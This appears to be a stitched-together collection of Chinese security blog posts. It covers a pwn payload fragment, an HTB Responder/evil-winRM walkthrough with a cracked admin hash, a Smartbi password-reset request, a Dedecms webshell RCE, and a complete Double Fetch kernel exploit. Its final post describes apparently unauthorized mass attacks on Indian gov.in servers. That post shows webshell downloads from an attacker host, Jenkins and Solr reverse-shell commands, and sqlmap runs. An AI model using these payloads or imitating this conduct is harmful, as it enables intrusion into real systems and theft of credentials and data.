log.info("addr:"+hex(addr))
add(0x60)#3
edit(3,0,p64(elf.got['free']))
payload = asm('push 0x23;push '+hex(addr+9)+';retfq', arch='amd64')
payload += asm('mov esp, '+hex(target+0x50)+';push 0x6761;push 0x6c662f2e;push esp;pop ebx; xor ecx,ecx; mov eax,5; int 0x80',arch='i386')
payload += asm('push 0x33;push '+hex(addr+0x2b)+';retf')
payload += asm('mov rdi,rax; mov rsi,0x602080;mov rdx, 0x100;mov rax, 0;syscall;',arch='amd64')
payload += asm('mov rdi,1;mov rax ,1;syscall;',arch='amd64')
edit(2,0,payload)
edit(0,0,p64(addr))
#attach(sh,'b*'+str(addr))
delete(6)
sh.interactive()
except:
continue
Responder与evil-winRM配合远程登录Windows
0x01.evil-winRM
0x01.1概述
在使用和介绍Responder之前,先来了解一下evil-winRM:
evil-winrm是Windows远程管理(WinRM) Shell的终极版本。
Windows远程管理是WS 管理协议的 Microsoft 实施,该协议是基于标准 SOAP、不受防火墙影响的协议,允许不同供应商的硬件和操作系统相互操作。而微软将其包含在他们的系统中,是为了便于系统管理员在日常工作中,远程管理服务器,或通过脚本同时管理多台服务器,以提高他们的工作效率。
此程序可在启用此功能的任何Microsoft Windows服务器上使用(通常端口为5985),当然只有在你具有使用凭据和权限时才能使用。因此,我们说它可用于黑客攻击的后利用/渗透测试阶段。相对于攻击者来说,这个程序能为他们提供更好更简单易用的功能。当然,系统管理员也可以将其用于合法目的,但其大部分功能都集中于黑客攻击/渗透测试。
0x01.2安装和使用
安装:
方法一
sudo apt install evil-winrm
方法二:
git clone https://github.com/Hackplayers/evil-winrm.git
方法三:
gem install evil-winrm
使用:
首先查看帮助文档
root@kali:~# evil-winrm -h
Evil-WinRM shell v3.5
用法:evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r 领域] [--spn SPN_PREFIX] [-l]
-S, --ssl 启用 ssl
-c, --pub-key PUBLIC_KEY_PATH 公钥证书的本地路径
-k, --priv-key PRIVATE_KEY_PATH 私钥证书的本地路径
-r, --realm DOMAIN Kerberos auth,还必须使用此格式在 /etc/krb5.conf 文件中设置 -> CONTOSO.COM = { kdc = fooserver.contoso.com }
-s, --scripts PS_SCRIPTS_PATH Powershell 脚本本地路径
--spn SPN_PREFIX Kerberos 身份验证的 SPN 前缀(默认 HTTP)
-e, --executables EXES_PATH C# 可执行文件本地路径
-i, --ip IP 远程主机IP或主机名。 Kerberos 身份验证的 FQDN(必需)
-U, --url URL 远程 url 端点(默认 /wsman)
-u, --user USER 用户名(如果不使用 kerberos,则需要)
-p, --password PASS 密码
-H, --hash HASH NTHash
-P, --port PORT 远程主机端口(默认5985)
-V, --version 显示版本
-n, --no-colors 禁用颜色
-N, --no-rpath-completion 禁用远程路径完成
-l, --log 记录 WinRM 会话
-h, --help 显示此帮助消息
0x02.Responder
0x02.1 概念
响应 LLMNR、NBT-NS 和 MDNS 投毒者。 它将根据名称后缀回答特定的 NBT-NS(NetBIOS 名称服务)查询(请参阅:http://support.microsoft.com/kb/163409)。默认情况下,该工具将仅响应适用于 SMB 的文件服务器服务请求。
0x02.2 特性
内置 SMB 身份验证服务器
默认情况下支持具有扩展安全性 NTLMSSP 的 NTLMv1、NTLMv2 哈希。 已成功测试从 Windows 95 到 Server 2012 RC、Samba 和 Mac OSX Lion。 NT4 支持明文密码,当设置--lm选项时,LM 哈希降级。该工具启动时默认启用此功能。
内置 MSSQL 身份验证服务器
为了将 SQL 身份验证重定向到此工具,您需要为 Windows Vista 之前的系统设置选项 -r(用于 SQL Server 查找的 NBT-NS 查询使用工作站服务名称后缀)(LLMNR 将用于 Vista 和 更高)。 该服务器支持 NTLMv1、LMv2 哈希。 此功能已在 Windows SQL Server 2005 和 2008 上成功测试。
内置 HTTP 身份验证服务器
为了将 HTTP 身份验证重定向到此工具,您需要为早于 Vista 的 Windows 版本设置选项 -r(用于 HTTP 服务器查找的 NBT-NS 查询使用工作站服务名称后缀发送)。 对于 Vista 及更高版本,将使用 LLMNR。 该服务器支持 NTLMv1、NTLMv2 哈希和基本身份验证。 该服务器已在 IE 6 至 IE 10、Firefox、Chrome、Safari 上成功测试。
注意:此模块也适用于从 Windows WebDav 客户端 (WebClient) 发出的 WebDav NTLM 身份验证。 您现在可以将自定义文件发送给受害者。
内置 HTTPS 身份验证服务器
与上面相同。 文件夹 certs/ 包含 2 个默认密钥,其中包括一个虚拟私钥。 这是故意的,目的是让 Responder 开箱即用。 添加了一个脚本,以防您需要生成自己的自签名密钥对。
内置 LDAP 身份验证服务器
为了将 LDAP 身份验证重定向到此工具,您需要为早于 Vista 的 Windows 版本设置选项 -r(用于 HTTP 服务器查找的 NBT-NS 查询使用工作站服务名称后缀发送)。 对于 Vista 及更高版本,将使用 LLMNR。 该服务器支持 NTLMSSP 哈希和简单身份验证(明文身份验证)。 该服务器已在 Windows 支持工具"ldp"和 LdapAdmin 上成功测试。
内置 FTP、POP3、IMAP、SMTP 身份验证服务器
该模块将收集明文凭据
内置 DNS 服务器
该服务器将回答 A 类查询。 当它与 ARP 欺骗结合起来时,这真的很方便。
内置 WPAD 代理服务器
如果启用了“自动检测设置”,此模块将捕获网络上启动 Internet Explorer 的任何人的所有 HTTP 请求。 该模块非常有效。 您可以在 Responder.conf 中配置自定义 PAC 脚本,并将 HTML 注入服务器的响应中。 请参阅 Responder.conf。
浏览器监听器
该模块允许在隐身模式下找到 PDC。
指纹识别
当使用选项 -f时,响应程序将对发出 LLMNR/NBT-NS 查询的每个主机进行指纹识别。 所有采集模块在指纹模式下仍然可以工作。
ICMP 重定向
python tools/Icmp-Redirect.py
适用于 Windows XP/2003 及更早版本上的 MITM 域成员。 这种攻击与 DNS 模块相结合非常有效。
流氓 DHCP
python tools/DHCP.py
DHCP 通知欺骗。 允许您让真正的 DHCP 服务器发布 IP 地址,然后发送 DHCP Inform 应答以将您的 IP 地址设置为主 DNS 服务器,以及您自己的 WPAD URL。
分析模式
该模块允许您查看网络上的 NBT-NS、BROWSER、LLMNR、DNS 请求,而不会破坏任何响应。 此外,您还可以被动映射域、MSSQL 服务器、工作站,看看 ICMP 重定向攻击在您的子网上是否可行。
0x02.3 Responder欺骗原理
在使用Responder之前,我们要先了解windwos默认开启的三种协议,这三种协议分别是链路本地多播名称解析(LLMNR)、名称服务器(NBNS) 协议和多播DNS(mdns)协议。
LLMNR
链路本地多播名称解析(LLMNR)是一个基于域名系统(DNS)数据包格式的协议,IPv4和IPv6的主机可以通过此协议对同一本地链路上的主机执行名称解析。Windows 操作系统从 Windows Vista开始就内嵌支持,Linux系统也通过systemd实现了此协议。它通过UDP 5355端口进行通信,且LLMNR支持IPV6。
NBNS
网络基本输入/输出系统(NetBIOS) 名称服务器(NBNS) 协议是 TCP/IP 上的 NetBIOS (NetBT) 协议族的一部分,它在基于 NetBIOS 名称访问的网络上提供主机名和地址映射方法。通过UDP 137端口进行通信,但NBNS不支持IPV6。
mDNS
在计算机网络中 ,多播DNS( mDNS )协议将主机名解析为不包含本地名称服务器的小型网络中的IP地址。 它是一种零配置服务,使用与单播域名系统(DNS)基本相同的编程接口,数据包格式和操作语义。 虽然Stuart Cheshire将mDNS设计为独立协议,但它可以与标准DNS服务器协同工作。它通过UDP 5353端口进行通信,且mDNS也支持IPV6。
目前仅有windows 10以上的系统支持mdns,经测试发现,禁用了llmnr后mdns也会被禁用。
总的来说,以上几种协议在windows中都是默认启用的,主要作用都是在DNS服务器解析失败后,尝试对windows主机名称进行解析,正因为默认启用、且实现方式又类似于ARP协议,并没有一个认证的过程,所以就会引发各种基于这两种协议的欺骗行为,而Responder正是通过这种方式,欺骗受害机器,并使受害机器在后续认证中发送其凭证。
0x02.4 使用方法
root@kali:~#responder -h
用法:responder -I eth0 -w -d
或者:
responder -I eth0 -wd
选项:
--version 显示程序的版本号并退出
-h, --help 显示此帮助消息并退出
-A, --analyze 分析模式。 此选项允许您查看NBT-NS,
BROWSER、LLMNR 请求没有响应。
-I eth0,--接口=eth0
要使用的网络接口,可以使用“ALL”作为
所有接口的通配符
-i 10.0.0.21,--ip=10.0.0.21
要使用的本地 IP(仅适用于 OSX)
-6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed
使用其他 IPv6 地址对所有请求进行毒害
响应者之一。
-e 10.0.0.22, --externalip=10.0.0.22
使用其他 IP 地址毒害所有请求
响应者之一。
-b, --basic 返回基本 HTTP 身份验证。 默认值:NTLM
-d, --DHCP 启用 DHCP 广播请求的应答。 这
选项将在 DHCP 响应中注入 WPAD 服务器。
默认值:假
-D, --DHCP-DNS 该选项将在 DHCP 中注入 DNS 服务器
响应,否则将添加 WPAD 服务器。
默认值:假
-w, --wpad 启动 WPAD 恶意代理服务器。 默认值为
错误的
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
恶意 WPAD 代理使用的上游 HTTP 代理
传出请求(格式:主机:端口)
-F, --ForceWpadAuth 对 wpad.dat 文件强制进行 NTLM/Basic 身份验证
恢复。 这可能会导致登录提示。 默认:
错误的
-P, --ProxyAuth 强制 NTLM(透明)/基本(提示)
代理的身份验证。 WPAD 不需要
在。 这个选项非常有效。 默认值:假
--lm 强制 Windows XP/2003 和 LM 哈希降级
早些时候。 默认值:假
--disable-ess 强制 ESS 降级。 默认值:假
-v, --verbose 增加详细程度。
0x03 靶场实战--Responder与evil-winRM配合远程登录windows
测试环境:
kali (攻击机) 192.168.154.128
vpn接入内网环境: ip -> 10.10.14.115
HTB靶机 windows 10 (受害机) 10.129.48.161
开启靶机
前置的步骤简单过一下:
TASK 1
When visiting the web service using the IP address, what is the domain that we are being redirected to?
unika.htb
直接curl探测一下就行
访问域名需要在本地的hosts文件就行一个配置:
TASK 2
Which scripting language is being used on the server to generate webpages?
PHP
直接使用wappalyzer插件即可
TASK 3
What is the name of the URL parameter which is used to load different language versions of the webpage?
page
查看网页源代码:
TASK 4
Which of the following values for the page parameter would be an example of exploiting a Local File Include (LFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"
../../../../../../../../windows/system32/drivers/etc/hosts
这里熟悉文件包含漏洞(FI)师傅能直接get到点:
TASK 5
Which of the following values for the page parameter would be an example of exploiting a Remote File Include (RFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"
//10.10.14.6/somefile
这里和上一问同理
TASK 6
What does NTLM stand for?
NT (New Technology) LAN Manager (NTLM)
查阅Wiki百科就行(可以往下深入了解,这是内网的开始......
TASK 7
Which flag do we use in the Responder utility to specify the network interface?
-I
通过上面的帮助文档可以知道
TASK 8
There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as john, but the full name is what?.
John the Ripper
也是查阅Wiki百科即可
本文的关键操作,可直接跳至此处
接下来将是本文的重点操作:
首先查看一下自身ip(vpn),并开启监听
开启监听:responder -I tun0 -w -d
接着利用web端的远程文件包含漏洞(RFI)访问我自身(10.10.14.115)的任意文件,进行一个Hash泄露
payload:
http://unika.htb/index.php?page=//10.10.14.115/somefile
Responder就可以捕获到来自受害机(10.129.48.161)带有用户的密码(password)的Hash值
Administrator::RESPONDER:9baf19c29ef21567:761FED4C7E3DB9BCFEF3E747E797B10D:010100000000000000E56ED168C8D901D119B9B66118B37A00000000020008004E0044004200450001001E00570049004E002D004C004C0047004200590033003100340035005800510004003400570049004E002D004C004C004700420059003300310034003500580051002E004E004
将这段字符串保存到一个txt文件中,接下来使用JHON进行一个Hash爆破:
john -w=/usr/share/wordlists/rockyou.txt admin.txt
能够获取到Administrator用户的密码为:badminton
TASK 9
What is the password for the administrator user?
badminton
TASK 10
We'll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on?
5985
使用nmap进行一个开放端口探测即可:
nmap -p- --min-rate 1000 -sV 10.129.48.161
拿到用户的账户和密码之后就到了一开始所提到的evil-winRM的使用了
evil-winrm -i 10.129.48.161 -u administrator -p badminton
这样就可以远程登录windows服务器啦,接下来我们能做到的事儿有很多。
第一步肯定是找题目需要的flag
找到我们需要的flag文件只是最基础的,别着急提交,不然就浪费这个练习工具的好机会了
可以多试试几个命令:
menu:加载Invoke-Binary和l04d3r-LoadDll函数。当加载ps1时,会显示其所有功能。
download:下载远程文件到本地,如果远程文件在当前目录中,则不需要local_path。
download local_path remote_path
这里可以尝试一下下载flag.txt
upload:从本地(kali)上传文件到目标机器,如果本地文件与evil-winrm.rb文件位于同一目录中,则不需要remote_path。
upload local_path remote_path
这里可以试着传一个txt文件
Invoke-Binary:允许在内存中执行从c#编译的exe。该名称可使用tab键自动补全,最多允许3个参数。可执行文件必须在-e参数设置的路径中。
这里由于我在连接时并未指定exe的路径所以这里没法正常执行命令。
services:列出所有服务(无需管理员权限)
加载 powershell 脚本
要加载ps1文件,你只需键入名称(可以使用tab自动补全)。脚本必须位于-s参数中设置的路径中。再次键入menu并查看加载的功能。
这里我没指定路径所以是没有powershell脚本的,所以没法正常演示。
最后
本次的分享就到这儿结束了,当然还有很多的操作和细节没有能够展示到,后续就留给师傅们去探索了。
Smartbi 修改用户密码漏洞
漏洞简介
通过查看 Smartbi 的补丁包信息,发现存在漏洞在某种特定情况下修改用户的密码,进行简单的复现和分析
漏洞复现
在页面上修改密码时,需要知道原本的用户对应的密码
直接构造这样的数据包,就不需要知道原本的密码,知道用户名就可以修改密码
POST /smartbi/vision/RMIServlet HTTP/1.1
Host: 192.168.222.133:18080
Content-Length: 73
Cache-Control: max-age=0
If-Modified-Since: 0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
Origin: http://192.168.222.133:18080
Referer: http://192.168.222.133:18080/smartbi/vision/index.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=4A4AC06EC1DF3CDDC45239C211926FA1
Connection: close
className=UserService&methodName=changePasswordEx¶ms=["admin","","1"]
漏洞分析
smartbi.usermanager.ILocalUserManagerModule#changePasswordEx
smartbi.usermanager.UserManagerModule#changePasswordEx
修改密码的操作虽然获取了用户名 原本的密码 修改后的新密码,但是对原本的密码并没有做任何校验处理
userId 是根据传入的用户名查询到的
smartbi.usermanager.UserManagerModule#updateUserEx
smartbi.usermanager.UserManagerModule#updateUserExtend
漏洞修复
上传补丁包后再发送数据包,发现被拦截
匹配到对应的类名和方法就结束执行
Dedecms V110最新版RCE---Tricks
前言
刚发现Dedecms更新了发布版本,顺便测试一下之前的day有没有修复,突然想到了新的tricks去实现RCE。
文章发布的时候估计比较晚了,一直没时间写了。
利用
/uploads/dede/article_string_mix.php
/uploads/dede/article_template_rand.php
/uploads/dede/sys_task.php
......
我发布的文档->>>>添加文档->>>>站内选择进行文件上传
/uploads/dede/content_list.php](http://dedecms.xyz:8066/uploads/dede/content_list.php?mid=1)
/uploads/dede/catalog_do.php?channelid=0&cid=0&dopost=addArchives
文件上传
在vps上起一个http的服务,端口设置为8016
远程服务器存放shell.php,文件内容为
<?php @eval ($_POST ['a']);?>
准备一个图片格式的文件,文件内容为,这里我上传的文件名称为f.png
<? copy("http://192.168.225.40:8016/shell.php","shell.php");?>
上传成功后可以看到上传的图片的位置
修改文件名为b.php
保存发现png图片已成功被更改,访问b.php,从远程vps下载了shell.php,当前目录下存在一个名称为shell.php的木马文件
利用webshell进行命令执行。
成功执行了命令
思考
如果不考虑文件上传后缀名绕过方法,仅以上面图片格式的文件上传的话,那么无所谓上传的什么内容,因为本身来讲dede的代码中对文件内容是做的有校验的
所以文件内有两种绕过方法
正则绕过
disable函数绕过
简单搜索了一下各个平台的文章,其实是有师傅正则绕过实现webshell的。第二点儿,disable函数绕过,往前几个版本,有兴趣的可以看一下源码,之前利用全局变量Globals绕过
代码内容
<?php
$a = $GLOBALS["_GET"];
$b = $GLOBALS["_GET"];
$a['test1']($b['test2'])
?>
命令执行
http://dedecms.org:8016/uploads/shell.php?test1=assert&&test2=system(%22ipconfig%22);&&成功执行命令,且该命令执行为未授权命令执行。
所以在官方前几个版本中已经更新了,添加进了禁用方法
所以在绕过禁用方法上来讲更容易一点儿。所以在利用上这里利用了copy函数的特性,那么这里提醒一下,其它的函数当然也可以满足效果。
条件竞争漏洞Double Fetch
前言
Double Fetch(双取)是一种条件竞争的漏洞,相关的论文发表在USENIX,论文链接:https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-wang.pdf
Double Fetch
Double Fetch是内核的一种漏洞类型,发生在内核从用户空间中拷贝数据时,两次访问了相同一块内存。如下图示(图片来自论文),内核从用户空间拷贝数据时,第一次拷贝会进行安全检测,而第二次拷贝时才会进行数据的使用,那么在第一次拷贝与第二次拷贝的间隙,就能够进行恶意数据篡改。举个例子,在第一次时从用户空间中获取了需要拷贝的长度,并进行长度的检测,但是在第二次拷贝时会再次拷贝长度,并且根据该长度进行数据的拷贝。但是此时的长度是没有经过校验的,因此当该长度在第一次拷贝与第二次拷贝之间被修改,就会导致漏洞的发生。这种漏洞就被称之为Double Fetch。
论文的作者总结了容易发生Double Fetch的情况,如下图示(图片来自论文)。通常用户进程会通过指定的消息格式与内核进行通信,而消息格式通常由消息头与消息体构成。消息头包含了一些特殊属性,比如消息的长度,消息的类型等。那么内核通常会取出消息头,根据消息头的信息,进行不同的分支执行。若在进入分支后,内核依旧提取出消息头,并使用了前面使用过的字段,就非常容易发生Double Fetch,因为在这两次提取的过程中,用户态的程序可以修改消息头。
作者根据Double Fetch发生的场景,并将其进行分类
类型选择
长度检查
浅拷贝
类型选择
类型选择的Double Fetch,如下图示(图片来自论文)。代码截取自cxgb3 main.c。可以看到下述代码首先通过copy_from_user函数从useraddr中拷贝数据到cmd中,而useraddr为用户空间的地址。而后续的流程会根据从useraddr中提取出的数据从而选择执行。并且在每个分支中,又通过copy_from_user函数从useraddr的地址中取出数据,做后续的处理。若在后续的处理中又重复使用到了cmd那么就会导致Double Fetch。
长度选择
长度选择的Double Fetch,如下图示(图片来自论文)。在第一次拷贝是通过copy_from_user从arg中获取数据,并且提取了header.Size,在第二次时又重复了这个过程,这就是明显的Double Fetch。若在两次提取之间修改了header.Size值,并通过aac_fib_send函数发送数据,那么就会导致漏洞的发送,即可以泄露比原本header.Size值更大的数据量。
浅拷贝
浅拷贝则是第一次的拷贝只是将指向用户数据的指针拷贝到内核中,后续在将用户数据拷贝进来。如下图示(图片来自论文)。第一次获取时是通过指向用户数据的指针的指针,而第二次同样是这么获取的,那么在第一次与第二次的间隔中修改指针的指向就会导致数据被修改。
举个例子,即内核拷贝时并不是把能够读取用户数据的地址拷贝进来,而是将指向该地址的地址给拷贝进来,即下图中的ptr,因此后续内核在读取数据的时候都是通过ptr进行获取,那么在两次获取的中途修改了ptr的指向,那么就可以使得内核指向恶意数据。
总结一下Double Fetch的利用流程
内核会从用户空间中获取数据,并且会两次获取相同空间的数据
在两次获取的过程中没有检测获取的数据是否一致
最后在两次获取的过程中,篡改该空间的数据
20180ctf-final-baby
题目链接:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/0ctf-final-baby
在模块中存在baby_ioctl函数,若rsi的值为0x6666则会将flag输出,由于是通过printk,因此需要通过dmesg输出,若rsi为0x1337,则会经过一个校验函数,若通过该校验流程,则会将flag的值与传入的地址的内容进行比较,若内容完全一致,那么则会将flag直接输出,同样的该输出是通过printk,因此需要通过dmesg进行打印。
接着看校验函数,该函数很简单,接受三个参数,a1、a2、a3,若a1 + a2 < a3则通过检查。而a1的值是我们所控制的,即rdx寄存器的值,而a3的值则是通过¤t_task中获取的。
可以发现从¤t_task中获取的地址为0x7ffffffff000
下图为用户空间的地址分布,可以看到0x7ffffffff000为末尾地址,因此该检测即使若传入的地址是用户空间地址则通过,传入内核空间地址就不通过。
这么做的原因是因为,flag字符串是硬编码到驱动中的,若能够读取内核空间的内容,岂不是可以直接读取了?因此该题做了隔离。
那么这题就能够使用Double Fetch进行利用,重点来看检测部分。驱动会进行三块检测
检查传入的地址是否为用户空间的地址
检查传入的地址的内容的值是否为用户空间的地址
检查传入的长度是否与flag的长度一致
总的来说从用户空间中我们传入了一个结构体
typedef struct
{
char *flag_addr;
unsigned long flag_len;
};
可以看到该题在检测的时候获取的用户空间的地址v5,接着在循环过程中再一次获得用户空间的地址v5,在这两次获取的过程中并没有去比较值是否被修改了,那么就导致了Double Fetch。
利用的思路如下
在检测阶段,v5的我们使用用户空间的变量值进行赋值,即v5 = buf
而进入比较阶段,v5的值我们使用flag的地址值进行赋值,即v5 = flag
那么如何获得进入比较阶段的时间点呢,可以看到题目即使比较失败也不会发生异常而是简单的返回,因此我们可以开启一个线程,不断的修改v5 = flag即可
...
void *
rewrite_flag_addr(void *arg)
{
pdata data = (pdata)arg;
while(finish == 0)
{
data->flag_addr = (char *)target_addr;
//printf("%p\n",data_flag.flag_addr);
}
}
...
err = pthread_create(&ntid, NULL, rewrite_flag_addr, &data_flag);
...
具体流程如下图,这里用线程的原因
主线程与子线程异步执行
线程之间共享内存信息
因此可以利用其他线程去修改共享的内存
完整exp
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <pthread.h>
#define MAXSIZE 1024
#define MAXTIME 1000000
unsigned long target_addr;
int finish;
typedef struct
{
char* flag_addr;
unsigned long flag_len;
}data, *pdata;
data data_flag;
int fd;
void *
rewrite_flag_addr(void *arg)
{
pdata data = (pdata)arg;
while(finish == 0)
{
data->flag_addr = (char *)target_addr;
//printf("%p\n",data_flag.flag_addr);
}
}
int main()
{
fd = open("/dev/baby", O_RDWR);
__asm(
".intel_syntax noprefix;"
"mov rax, 0x10;"
"mov rdi, fd;"
"mov rsi, 0x6666;"
"syscall;"
".att_syntax;"
);
char buf[MAXSIZE];
char *target;
int count;
int flag = open("/dev/kmsg", O_RDONLY);
if (flag == -1)
printf("open dmesg error");
while ((count = read(flag, buf, MAXSIZE)) > 0)
{
if ((target = strstr(buf, "Your flag is at ")) > 0)
{
target = target + strlen("Your flag is at ");
char *temp = strstr(target, "!");
target[temp - target] = 0;
target_addr = strtoul(target, NULL, 16);
printf("flag address:0x%s\n",target);
printf("flag address:0x%lx\n", target_addr);
break;
}
}
data_flag.flag_addr = buf;
data_flag.flag_len = 33;
pthread_t ntid;
int err;
err = pthread_create(&ntid, NULL, rewrite_flag_addr, &data_flag);
for (int i = 0; i < MAXTIME; i++)
{
ioctl(fd, 0x1337, &data_flag);
data_flag.flag_addr = buf;
//printf("%d\n",i);
}
finish = 1;
pthread_join(ntid, NULL);
printf("end!");
//system("dmesg | grep flag");
}
一次暴露面全开的红帽渗透测试【getshell】
0x01、信息收集阶段
注:本次信息收集过程主要使用FOFA网络探测平台 https://fofa.info/===
一开始进行收集的时候,有点迷,直接进行了大面积的"gov.in"域名收集
host="gov.in" && country="IN"
哈哈68465条数据,想想就起飞,但是有个问题来了,怎么下载到本地,高级用户的API也只能调用下载1w条数据,左思右想。
试着写了个脚本看看:
import pythonfofa
import csv
filename = "IN_domain.csv"
email = 'u_mail'
key = 'u_API_KEY'
search = pythonfofa.Client(email, key)
get_data = search.search('host="gov.in" && country="IN"', size=70000)
# print(get_data)
requests = [result[1] for result in get_data['results']]
print(requests)
# 打开CSV文件并设置写入模式
with open(filename, "w", newline="") as file:
writer = csv.writer(file)
# 遍历请求列表
for request in requests:
# 在控制台打印域名
print(request)
# 检测域名是否包含"http://"
if not request.startswith("http://") and not request.startswith("https://"):
# 如果不包含,则在域名前添加"http://"
request = "http://" + request
# 在域名后添加斜杠"/"
request += "/"
# 将请求和值"1"作为一行写入CSV文件
writer.writerow([request, 1])
是的,肯定不能跑,下断点,调试看看
很好确实是不能直接干7w条,换个收集思路,收集主流框架进行相应的漏扫
主流框架的相关漏洞的FOFA规则语句:
Fastjson
app="Fastjson" && host="in" && country="IN" && status_code="200" && (port="80" || port="443")
Struts2
app="Struts" && host="in" && country="IN" && status_code="200" && (port="80" || port="443")
Log4j2
(app="Log4j2" && host="in" && country="IN" && status_code="200" && (port="80" || port="443"))
其他的也都大同小异,照葫芦画瓢就行。
目标站点收集差不多了,就是漏洞探测阶段了。
0x02、漏洞探测及利用
Struts2:
直接掏出大范围漏扫AWVS就行批量漏洞探测:
第一天数据就直接起飞,因为本次目标是==getshell==直接忽略中低危漏洞告警,查看高危漏洞:
很好一堆==Struts2==漏洞,直接上工具:
得到一个RCE(远程命令执行漏洞),远程写入==shell==,先利用工具生成一个==Antsword(蚁剑)jsp格式的shell==
将shell放到一个公网服务器上,接着执行命令查看web路径:/var/tomcat9/pmrportal/ROOT/
直接执行
curl -o /var/tomcat9/pmrportal/ROOT/shell.jsp http://u_ip/antsword.jsp
然后webshell工具Antsword连接即可:
爆出的该S2-045的漏洞的还有几个,getshell方式同上,不进行细述了___________。
Weblogic:
很好用的awvs,直接上工具注入内存马:
冰蝎连接webshell:
同类型的漏洞还有几个,getshell的方式都一致,不一一概述了》》
(PS:这个时候已经有些疲软了,没有去手测upload的点)
Jenkins:
中途其他框架没有收获的时候,就去浏览知识的海洋了,看到一个存在大量未授权+RCE的框架漏洞(Jenkins),二话不说,直接上FOFA:
(app="JENKINS" && title=="Dashboard [Jenkins]" && country="IN" && status_code="200") && (port="80" || port="443")
一看86条资产,有戏,数量不多,直接手测:
存在未授权,访问manager --> script页面,进行命令执行测试:
println "ls -al".execute().text
存在命令执行,尝试反弹shell:
println "bash -i >& /dev/tcp/ip/port 0<&1".execute().text
接收shell的服务器开启端口监听:
执行命令
发现没有shell反弹过来,猜测不能在web端执行反弹shell,于是将反弹shell的命令写入.sh文件中,然后执行,进行反弹shell操作:
在sh文件中写入如下内容:
bash -i >& /dev/tcp/ip/port 0<&1
保存在开放的web端口,在jenkins服务中执行如下curl命令远程下载sh文件:
println "curl - o /tmp/jenkins.sh http://u_ip:port/jenkins.sh".execute().text
查看.sh文件是否获取成功:
println "ls -al /tmp".execute().text
获取.sh文件成功,执行文件,反弹shell:
开启监听:
执行命令,启动.sh文件:
println "bash /tmp/jenkins.sh".execute().text
成功监听到谈过来的shell,又拿下一台!其他的没有存在未授权,便没有尝试。
Apache-Solr
闲着没事,打开文库看了几篇RCE复现,心血来潮,打开FOFA:
country="IN" && app="Apache-Solr" && status_code="200" && (port="443" || port="80")
数据不大,接着手测,拿到三个未授权(不需要登陆):
==授权==:
==未授权==:
拿到未授权之后,进行CVE探测:
访问/solr/admin/cores/,获取name => music
接着拼接路径/solr/music/config/查看用户配置信息:
都为true,可直接利用公网披露的payload进行RCE,
GET /solr/music/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%22whoam
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
测试是否出网:
修改执行命令为
curl%20xtolsc.dnslog.cn
可出网,直接反弹shell:
GET /solr/music/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%22bash%
Host: ip
accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
VPS开启端口监听:nc -lvvnp 5000
接听到弹过来的shell了,好,又拿下一台,root权限。
其他漏洞发现
反射型XSS
具体测试过程均无任何难度,无须bypass黑名单之类的,测试语句
<script>alert(1)</script>
SQL注入
这类没有具体测试,发现注入点之后直接上SQLmap开扫:
sqlmap https://******.gov.in/****/Validate.jsp --data "email=a@a.com&password=123456" --random-agent -t 10 -p password --proxy=http://127.0.0.1:7890 --dbms=mysql
诸如其他的漏洞也有发现,但不是本次渗透的重点,便没重点去深入。
渗透总结
本次测试周期长,测试目标暴露点多,非常有趣的一次渗透实战,后期有其他事儿,就没法全身心投入,蛮可惜的。
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

